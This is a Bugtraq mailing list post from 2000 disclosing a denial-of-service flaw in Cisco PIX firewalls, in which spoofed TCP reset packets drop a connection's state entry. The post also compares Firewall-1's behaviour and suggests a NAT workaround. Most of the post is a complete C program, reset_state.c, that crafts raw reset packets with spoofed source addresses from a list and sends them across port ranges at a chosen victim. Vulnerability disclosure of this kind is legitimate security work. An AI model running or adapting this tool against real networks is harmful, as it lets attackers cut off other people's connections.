Bugtraq mailing list archives
PIX DMZ Denial of Service - TCP Resets
From: andrew () CITEC NET (Andrew Alston)
Date: Mon, 20 Mar 2000 13:59:49 +0200
A brief rundown of the problem. If you run routable ips on your internal interface on your pix, and routeable ips on your external interface, so the pix is not running nat, the pix keeps a state table of everything going on. Anything that is not in your state table that attempts to come in from the outside is denied, even if there is a conduit in place to permit anything. Which means that you have to establish a connection from your internal network to your external network before anything external can send data back. This is a really nice feature, unfortunatly there is a bit of a bug that I found in this. While testing on in house equipment for possible flaws, as we continually test various products, I found the following. On recieving a RST packet (TCP Reset) from a given host with the correct source and destination port, the PIX will drop the state entry for that particular connection, which means the tcp connection dies due to the fact that no state entry the external box can no longer talk to the internal box. So, if we take a standard raw ip packet, give it a tcp header, and set the source ip as a machine that your internal box is connected to, and the destination ip as your internal machine, set the source port on the spoofed ip as the port the person is connected to, set your destination port on your destination ip cyclically to possible source ports on his side, and send resets, it will drop the persons state table entry, cutting him off from the box he is connected to. I would like to note at this point that this exploit does NOT work against firewall-1 due to an interesting technique used to fix the problem, when firewall-1 recieves a TCP Reset, it simply drops its state table timeout from 3600 seconds to 50 seconds, and should no data be recieved between the two hosts within 50 seconds the entry is removed from the state tables... however I might add that as far as I can see this opens up another interesting bug in firewall-1, which could lead to the possibility of a man in the middle attack, though further details will follow about that in another post. Because this does NOT work in a NAT configuration, in theory, although this hasnt been tested, the work around would be to map all global ips on your external interface, and then static nat the ports you want accessible on your DMZ through to localnet ip addresses. ----- reset_state.c follows, cut here ----- /* reset_state.c (c) 2000 Citec Network Securities */ /* The code following below is copyright Citec Network Securities */ /* Code was developed for testing, and is written to compile under */ /* FreeBSD */ #define __BSD_SOURCE #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <unistd.h> #include <time.h> #include <netdb.h> struct slist { struct in_addr spoof; struct slist *link; }; /* Spoof list */ int main(int argc, char *argv[]) { int i, int2; int sock; /* Socket stuff */ int on = 1; /* Socket stuff */ struct sockaddr_in sockstruct; /* Socket stuff */ struct ip *iphead; /* IP Header pointer */ struct tcphdr *tcphead; /* TCP Header pointer */ char evilpacket[sizeof(struct ip) + sizeof(struct tcphdr)]; /* Our reset packet */ int seq, ack; /* Sequence and Acknowledgement #'s */ FILE *spooffile; /* Spoof file */ char *buffer; /* Spoof file read buffer */ struct slist *scur, *sfirst; /* Spoof linked list pointers */ char src[20], dst[20]; /* Work around for inet_ntoa static */ /* Pointers when using printf() */ int sourcefrom, sourceto, destfrom, destto; /* CMD Line ports */ int target; /* Target address from inet_addr() */ if(argc < 6) { fprintf(stderr, "Usage: %s spoof_file target sps spe dps dpe\n" "target = your victim\n" "sps = Source port start\n" "spe = Source port end\n" "dps = Destination port start\n" "dpe = Destination port end\n", argv[0]); exit(-1); } else { sourcefrom = atoi(argv[3]); sourceto = atoi(argv[4]); destfrom = atoi(argv[5]); destto = atoi(argv[6]); }; if(sourcefrom > sourceto) { printf("Error, start source port must be less than end source port\n"); exit(-1); } else if(destfrom > destto) { printf("Error, start dest port must be less than end dest port\n"); exit(-1); }; printf("Used spoof file %s\n" "Destination: [%s] ports: [%d -> %d]\n" "Target source ports: [%d -> %d]\n", argv[1], argv[2], destfrom, destto, sourcefrom, sourceto); sleep(1); bzero(evilpacket, sizeof(evilpacket)); /* Clean our reset packet */ sfirst = malloc(sizeof(struct slist)); scur = sfirst; scur->link = NULL; /* Setup our spoof linked list */ if(!(buffer = malloc(25))) { perror("malloc"); exit(-1); }; /* Allocate for read buffer */ if ((spooffile = fopen((char *) argv[1], "r")) <= 0) { perror("fopen"); exit(-1); /* Open our spoof file */ } else { while (fgets(buffer, 25, spooffile)) { /* Read till EOF */ if (!(inet_aton(buffer, &(scur->spoof)))) printf("Invalid address found in victim file.. ignoring\n"); else { scur->link = malloc(sizeof(struct slist)); scur = scur->link; scur->link = NULL; /* Cycle l.list */ } }; /* End of while loop */ }; /* End of if {} else {} */ free(buffer); /* Free up our read buffer */ fclose(spooffile); /* Close our spoof file */ scur = sfirst; /* Set spoof list current to first */ if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(-1); } /* Allocate our raw socket */ if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on, sizeof(on)) < 0) { perror("setsockopt"); exit(-1); } /* Set socket options for raw iphead */ sockstruct.sin_family = AF_INET; iphead = (struct ip *) evilpacket; tcphead = (struct tcphdr *) (evilpacket + sizeof(struct ip)); /* Align ip and tcp headers */ iphead->ip_hl = 5; /* Ip header length is 5 */ iphead->ip_v = 4; /* ipv4 */ iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr); /* Length of our total packet */ iphead->ip_id = htons(getpid()); /* Packet ID == PID # */ iphead->ip_ttl = 255; /* Time to live == 255 */ iphead->ip_p = IPPROTO_TCP; /* TCP Packet */ iphead->ip_sum = 0; /* No checksum */ iphead->ip_tos = 0; /* 0 Type of Service */ iphead->ip_off = 0; /* Offset is 0 */ tcphead->th_win = htons(512); /* TCP Window is 512 */ tcphead->th_flags = TH_RST; /* Reset packet */ tcphead->th_off = 0x50; /* TCP Offset 0x50 */ iphead->ip_dst.s_addr = inet_addr(argv[2]); srand(getpid()); /* Seed for rand() */ while (scur->link != NULL) { seq = rand() % time(NULL); /* Randomize our #'s */ ack = rand() % time(NULL); /* Randomize ack #'s */ sockstruct.sin_port = htons(rand() % time(NULL)); iphead->ip_src = scur->spoof; /* Set the spoofed address */ sockstruct.sin_addr = scur->spoof; for(i = sourcefrom; i <= sourceto; i++) { for(int2 = destfrom; int2 <= destto; int2++) { usleep(2); /* Sleep 5ms between packets */ seq += (rand() %10)+250; ack += (rand() %10)+250; tcphead->th_seq = htonl(seq); /* Set sequence number */ tcphead->th_ack = htonl(ack); /* Set ack number */ tcphead->th_dport = htons(int2); /* Set destination port */ tcphead->th_sport = htons(i); /* Set source port */ snprintf(src, 20, "%s", inet_ntoa(iphead->ip_src)); snprintf(dst, 20, "%s", inet_ntoa(iphead->ip_dst)); /* Copy info to src and dst for printing */ printf("TCP RESET: [%s:%d] -> [%s:%d]\n", src, ntohs(tcphead->th_sport), dst, ntohs(tcphead->th_dport)); sendto(sock, &evilpacket, sizeof(evilpacket), 0x0, (struct sockaddr *) & sockstruct, sizeof(sockstruct)); /* Send our evil packet */ }; }; scur = scur->link; /* Cycle the spoof ips */ } scur = sfirst; return (1); }; ------- End of code, cut here -----
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